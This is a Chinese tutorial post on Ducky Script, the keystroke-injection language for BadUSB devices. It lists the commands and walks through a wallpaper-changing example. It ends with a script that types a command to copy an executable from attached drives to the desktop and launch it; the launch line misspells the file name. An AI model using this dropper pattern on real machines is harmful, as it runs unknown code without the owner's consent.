Ducky Script是BadUSB的专属语言,我先不对BadUSB这个概念做任何解释,如果你对这个概念并不熟悉,推荐去看我之前的视频,以及善用检索功能。
也在这捞一下我的视频欢迎大家批评指正。

现阶段有几种badusb的程序“语言“,一种是直接使用arduino的板子,使用ArduinoIDE为其编程,这种属于arduino的巧用,也是这两年使用较多的一种方法,成本低,上手也简单。另外一种是DuckyScript脚本,这是专属于badUSB的一种脚本语言,语法简单,上手更为容易,这是我今天要讲的主角。除此之外还有各类奇奇怪怪的BadUSB设备,比如拿树莓派ZeroW做的P4wnP1,这个里面也可以运行Ducky Script,但是它是运行的linux系统,如果你有单片机知识,你也可以拿着stm32,fpga来模拟键盘,但是那就远了。
先贴这个语言的介绍,最开始这是Hak5为自家的USB Rubber Ducky设计的语言,项目地址见:https://github.com/hak5darren/USB-Rubber-Ducky 英语水平高的兄弟,推荐直接看英文文档,省去我的絮叨。
你可以看到,这种语言的诞生就是因为第一种商用的Badusb,USB Rubber Ducky的销售,而进入了众人视野。而USB Rubber Ducky的名字取自一句俚语:一只鸟长得像鸭子,叫声像鸭子,走路也像鸭子,那它就是鸭子。细想之下,橡皮鸭能发出鸭子叫声,长得也像鸭子,BadUSB长得像U盘,以键盘方式与电脑通讯,所以Hak5给这种设备起名叫USB Rubber Ducky。
既然名字起的和鸭子有关系,因为鸭子的叫声很大,所以,Ducky Script都是大写的指令。
说几个问题这是一种脚本语言,使用时不需要编译,推荐使用纯文本编辑器来写这种脚本,比如官方推荐的Notepad(这个我不推荐), vi, emacs, nano, gedit, kedit, TextEdit这些编辑器,当然,Atom,sublime,Notepad++,这种编辑器也是可以的甚至更好,但是word,以及windows自带的文本编辑器,wps这些都不推荐。
既然是模拟键盘操作,所以你在掌握这种脚本的同时你还需要学习其他语言,例如,CMD的脚本,PowerShell的脚本,linux的指令,Mac的指令,这是这颗科技树上其他需要点亮的技能点,但是我先不向大家介绍那些了。
第一个指令REM,REM类似于注释,后面跟随的东西不需要运行,是写给自己或者其他人看的,举个例子。
REM Hey you, hey you, Devil's little sister
REM后面是一句歌词,在运行中不会发生任何事情,但是你读代码的时候却可以看到。
由于要模拟人和键盘的交互,人不是机器,每个按键的按下和放松都有时间,每个输入之间也一样有延时,更重要的是,你进行了一些操作之后还需要等待一下,比如,按下菜单键,输入cmd,回车,之后你要等待几十到几百毫秒,才能看到cmd窗口。所以Ducky Script中有一个延时指令:DELAY。
DELAY,DEFAULT_DELAY,DEFAULTDELAY都是延时语句,后面两个一样功能,举个例子。
DEFAULT_DELAY 100
DEFAULTDELAY 100
这两个语句都是一样的,都是设置之后的语句每个语句之间间隔100ms,如果你在最开始设置了这个,之后就不用设置延时语句了。
DELAY 100
这个语句放在后面介绍的语句之间,就是代表它上下两个语句之间延时100ms。
这个语句也许是最重要的了,STRING,这个语句后面加你要输入电脑的语句,可以加任意字符,我说的字符,指的是数字,字母以及其他的比如?!-_+=\|这类。举个例子。
STRING XD
这个语句的效果就相当于你在电脑前输入了大写的XD,当然了这个语句同一行的其他字符都会被忠实的反馈到电脑上,就像你自己输入一样。
之后就是一堆特殊按键的字符,不多说,我列个表就行了。
GUI windows菜单键
WINDOWS windows菜单键
SHIFT shift键
ALT Alt键
CONTROL Ctrl键
CTRL Ctrl键
DOWNARROW 下箭头
DOWN 下箭头
LEFTARROW 左箭头
LEFT 左箭头
RIGHTARROW 右箭头
RIGHT 右箭头
UPARROW 上箭头
UP 上箭头
BREAK Pause键
PAUSE 和上一个是一样的
CAPSLOCK 大写键
DELETE 删除键
END END键,我估计你们不常用这个
ESC 键盘上左上角的键
ESCAPE 键盘上左上角的键
HOME Home键
INSERT Insert键
NUMLOCK 键盘锁键
PAGEUP 上翻页键
PAGEDOWN 下翻页键
PRINTSCREEN 屏幕截屏键
SCROLLLOCK 话说不写文档我都想不起键盘上还有这个键,Scrolllock键
SPACE 空格键,如果你延时把握的好,你甚至可以用这个指令玩炫舞
TAB 就是Tab键咯
REPEAT是一个很特殊指令,将下面的语句重复多少遍,举个例子。
REPEAT 100
STRING Hello World!
以上的代码块就是输出Hello World!这条语句一百次,无情的打字机器,对吧。
说点题外话,我这两天拍的教程中的设备,USB Ninja Pro还在以上基础上添加了一些功能,也就是几个新的脚本指令。我在这里也介绍下。
USBON 切换到Ninja的USB口,原本通道关闭
USBOFF 切换至原来的USB口,关闭Ninja的USB通道
CAPSLOCK ON 大写锁定,使用之后,保证电脑一直在大写锁定态
CAPSLOCK OFF 大写锁定关,保证电脑在非大写锁定态
PLUGAUTORUN 后面跟数字,下一次插入直接运行数字对应的SLOT里面存储的脚本
MSCREAD 手动将ROM里面的数据加载到RAM,也就是挂载U盘操作
MSCSAVE 手动将RAM里面的数据加载到ROM,也就是断开并保持U盘内容
MSCWIPE 擦除ROM盘里面的数据
MSCFORM 格式化ROM盘中的数据
MSCONOFF 后跟参数0或者1,为1时U盘功能启动
举个完整的例子吧。
REM This is a script to download and change the wallpaper in windows 10
REM In order to work, windows must be using the default app for opening photos
以上两句是注释行
DELAY 5000
延时5000ms,也就是五秒
CONTROL ESCAPE
Ctrl键加Esc键
DELAY 100
延时100ms
REM Note: The internet explorer method works usually for everyone but
REM If you want to use Chrome or Firefox instead of IE, remove 'iexplorer' from the following line
REM but also make sure to follow instructions bellow
又是三行注释
STRING iexplore http://www.thecuriosityworkshop.com/wp-content/uploads/2015/03/01-rubberduck-hongkong.jpg
使用ie打开一个网址
ENTER
回车
DELAY 4000
延时4秒
CONTROL s
Ctrl键加s键,也就是保存了
DELAY 2000
延时
ENTER
回车
DELAY 300
延时
CONTROL ESCAPE
Ctrl加ESC键
DELAY 300
延时
REM If you want to use Chrome, change 'Documents' to 'Downloads'
REM If you want to use Firefox, change 'Documents' to 'Pictures'
注释
STRING %USERPROFILE%\Documents\01-rubberduck-hongkong.jpg
输入了一条指令
DELAY 500
ENTER
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
ENTER
DELAY 500
DOWN
DELAY 500
DOWN
DELAY 500
DOWN
DELAY 500
DOWN
DELAY 500
ENTER
DELAY 500
DOWN
DELAY 500
DOWN
DELAY 500
ENTER
DELAY 500
后面就是模拟键盘进行了一系列的选择了,最终,你的壁纸会被替换为上面网址中的图片。
我这里也放一段脚本,推荐你们自行理解并使用
MSCREAD
USBON
CAPSloCk On
GUI r
DELAY 500
STRING cmd /c echo "cmd /c ping 127.0.0.1 > nul && for %%i in (A B C D E F G H I J K) do copy %%i:\fuck.exe %USERPROFILE%\Desktop\fuck.exe && start %USERPROFILE%\Desktop\fuvk.exe" > %Temp%\a.bat && %Temp%\a.bat
ENTER
CAPSloCk Off
DELAY 5000
REPEAT 2
USBOFF
玩的开心XD